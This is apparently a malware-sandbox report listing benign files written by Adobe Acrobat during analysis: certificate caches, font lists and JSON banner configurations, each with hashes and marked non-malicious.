Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7503974515083134
Encrypted:	false
SSDEEP:	3:kkFklHFdpttfllXlE/HT8k01rtNNX8RolJuRdxLlGB9lQRYwpDdt:kKQeT8vTNMa8RdWBwRd
MD5:	DA1F15D4D8CEE7A851099E241EA7FCF3
SHA1:	EE0BD2A0CFF4138B630B234FAF981A188DB03F1B
SHA-256:	B9475371B0635BDCBB158F74CB64D68311E922DAB03094D895D3080A43461B5E
SHA-512:	05D542845BCF4AE25B70A944D9D9788F6167E85FCB171E8F018AE57C2E60DC1AA3AC4C04D1E6D7BADB8957ED3AD442301DE76FE88FF3405592ECB5277B44BBC5
Malicious:	false
Preview:	p...... ......... .h~c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.133081597444441
Encrypted:	false
SSDEEP:	6:kKdEpM/L9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:EsiDnLNkPlE99SNxAhUe/3
MD5:	17C2D2DF1799852A2EE89B69BEA6707A
SHA1:	B5DFD6BDEFB3EBBAC837B8376C1035EF5B287F07
SHA-256:	78D6D59740804582AE3EE29CED0C16F250AC77D4C11DA88E2A646FA67A79D57C
SHA-512:	FDD491A237DC7F6D6AB8448436A7B0BD1277CA20B013A5D570C336B0408F01ABFA7EF10A104E7B0E82D7017754E1D07F2A1D53775D6D525831AD4F88932590FF
Malicious:	false
Preview:	p...... ..........Q{~c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.1248

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.1248

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.324330651692827
Encrypted:	false
SSDEEP:	6:YEQXJ2HXb3A5G3HJt7+FIbRI6XVW7+0YoUoAvJM3g98kUwPeUkwRe9:YvXKXjecyYpW7xnGMbLUkee9
MD5:	EF91E212E3492719258D647DF0497A1E
SHA1:	3724EBC1C602286BBDCD62463C0348F09251EC27
SHA-256:	0F37EC286FEEC78CB05F3E79BD3E641D4F842DA623826515A44D606239F7C9F8
SHA-512:	BF58BE77DC3C6D5DF6BDC7CB53307824684336A5273BAF2CA79189A57EC08DAD03FAE50B6827C6E21E77488DBE44B331A06FCBAAB264AAB5DC9002F362EF49E6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"313cdd8d-7424-43e0-895a-2dac2a1f2d35","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736707006821,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.263868562271969
Encrypted:	false
SSDEEP:	6:YEQXJ2HXb3A5G3HJt7+FIbRI6XVW7+0YoUoAvJfBoTfXpnrPeUkwRe9:YvXKXjecyYpW7xnGWTfXcUkee9
MD5:	CC3B0C5EE2A9783EC468D4F3765E724F
SHA1:	5874544A4EF0321E72FAB4616FF4DFE05C9C0377
SHA-256:	1E573FDD1B896B39FECB248735079DCE1B6287B0BA3279D0117466B41AC2BDD2
SHA-512:	F858AEB1DBA649D2D74387840125D33AB173B29D1434CAA8BCA909430B2EB319D3748F1DF3AEE34FABC2C9E2243EBE928FFDB7CBB4B4BF400AB01E7127060DDB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"313cdd8d-7424-43e0-895a-2dac2a1f2d35","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736707006821,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.242128057629777
Encrypted:	false
SSDEEP:	6:YEQXJ2HXb3A5G3HJt7+FIbRI6XVW7+0YoUoAvJfBD2G6UpnrPeUkwRe9:YvXKXjecyYpW7xnGR22cUkee9
MD5:	3041A97CC0D4DEA554F1B6923222D889
SHA1:	0D5C0FF4D9F103D9F977B68A2BA90625514C9042
SHA-256:	A52BE00429501CF3DF10A6ECC7266D8BBF0ADDB69613AAD66571BDDA0A378528
SHA-512:	4126FFF9F98D1C7E346A506B9E2FDCF020AAE857C970D63EDF71400B535C8E9BA97E5119E01B3484411D4D5198A4E1BEDF3F9E00EBA1B85F21FE8A5DF0E1502B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"313cdd8d-7424-43e0-895a-2dac2a1f2d35","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736707006821,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.30185395971082
Encrypted:	false
SSDEEP:	6:YEQXJ2HXb3A5G3HJt7+FIbRI6XVW7+0YoUoAvJfPmwrPeUkwRe9:YvXKXjecyYpW7xnGH56Ukee9
MD5:	39D4C5760D1C224E175E7F60B56D6664
SHA1:	A4E665A7C5629F0AF08626BFBE6D540997051A85
SHA-256:	749BD36F07DE935507F71C0A8216D4CB58F67B48847B77785FEDE88913B23223
SHA-512:	654BC37B03455A58E3AE3A8C510826BCFCCBC84B16342D9B699DFC29DD16F0DD83691C00AA096FFAEC0A563AAFD9C8ED7001FB6048226531A8BE6AF6AC919856
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"313cdd8d-7424-43e0-895a-2dac2a1f2d35","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736707006821,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.685787972293186
Encrypted:	false
SSDEEP:	24:Yv6X6cXiGpLgE9cQx8LennAvzBvkn0RCmK8czOCCSD:YvLGhgy6SAFv5Ah8cv/D
MD5:	330E84E761C6DF6106656198FA061F2B
SHA1:	70B1E0E65F6250ADCEA3080968302B37E964388E
SHA-256:	678151829A7E67610034076F759C6C4E07AB9B562654D8256C78F5596D9909CE
SHA-512:	52331E7E74CF310DF48660B0A27E6184F11E0290F351395CFD022D7BC8AAD52D6B92FBC1EBC2D41E9635E9C8505AF17826DD0E488170FB60207F1BC35D1396E7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"313cdd8d-7424-43e0-895a-2dac2a1f2d35","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736707006821,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.244239572002769
Encrypted:	false
SSDEEP:	6:YEQXJ2HXb3A5G3HJt7+FIbRI6XVW7+0YoUoAvJf8dPeUkwRe9:YvXKXjecyYpW7xnGU8Ukee9
MD5:	DF1393E2F8CB0AA561BA76CDA4D7D21F
SHA1:	ACCA55DFFD6EB375E34CE1284053F3E1D2A044C6
SHA-256:	8C82160E07CBAFB5CD2BD8A7B885261206072F07556885511F56B3EA5A5E9363
SHA-512:	727961AFF79C5CF95420A74A9569ABBE7C7D88C42A10239488C933703C5DEB701AEFBA53DA551F89F18C7F1CA455B73D923D232399EF7B812FBAA1878F3CFFC9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"313cdd8d-7424-43e0-895a-2dac2a1f2d35","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736707006821,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.246367451321003
Encrypted:	false
SSDEEP:	6:YEQXJ2HXb3A5G3HJt7+FIbRI6XVW7+0YoUoAvJfQ1rPeUkwRe9:YvXKXjecyYpW7xnGY16Ukee9
MD5:	8EC628C9AB60493AAC0529B5A9F9FD2A
SHA1:	B7AEBE951B32C9AF21FEE0ABAC636720B30A1291
SHA-256:	864A36E84B326F52D81B70285AF2B789E754D5F820E9FE436C306BBB40924E8B
SHA-512:	51CAC12C0822EDEADB16B97A2DB066A6C0C8BEA76D122A43AEE7D9440610EB25F226D6F3BE77E07B9425E6A2DA0AAE6AC28CF7FCB2F6A2B7EA02903886205FEB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"313cdd8d-7424-43e0-895a-2dac2a1f2d35","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736707006821,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.262579501491365
Encrypted:	false
SSDEEP:	6:YEQXJ2HXb3A5G3HJt7+FIbRI6XVW7+0YoUoAvJfFldPeUkwRe9:YvXKXjecyYpW7xnGz8Ukee9
MD5:	8D5540E405862F858B434C0842BFE3D0
SHA1:	B300D98B22DA3F83575C91093E2955DF1EC55FC3
SHA-256:	9430D25F6B052CC917C35D00F15A72D6D09DE32B3925935D16A9B143E403140F
SHA-512:	0CE30D79BAD577B0C4393C8E51CE02EBBD54444AA0107B2DBFCEFE5E17317931ABFEE5E251C1B1629A60D984E568338776ED814904DDBFE834D1C634B5BE0A1D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"313cdd8d-7424-43e0-895a-2dac2a1f2d35","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736707006821,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.2725561249982835
Encrypted:	false
SSDEEP:	6:YEQXJ2HXb3A5G3HJt7+FIbRI6XVW7+0YoUoAvJfzdPeUkwRe9:YvXKXjecyYpW7xnGb8Ukee9
MD5:	FE07FDDD54F19DCB9723DC48EA811E6E
SHA1:	E6A96478435FD1DEC53B4E1D3111B831D8BAAF18
SHA-256:	B558B3152E379578667DA7219C61C0E1BDE9ED442C5DBD999084AA9956DF99A6
SHA-512:	0D45F95C9F9B725BA025E0F24C6FE61362422FBCE984BC5F23D5C162D929532F0E95C63223A9AC5F4511CC43CC063C2A99B210F70AD39E53BD40457BD6780B3B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"313cdd8d-7424-43e0-895a-2dac2a1f2d35","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736707006821,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

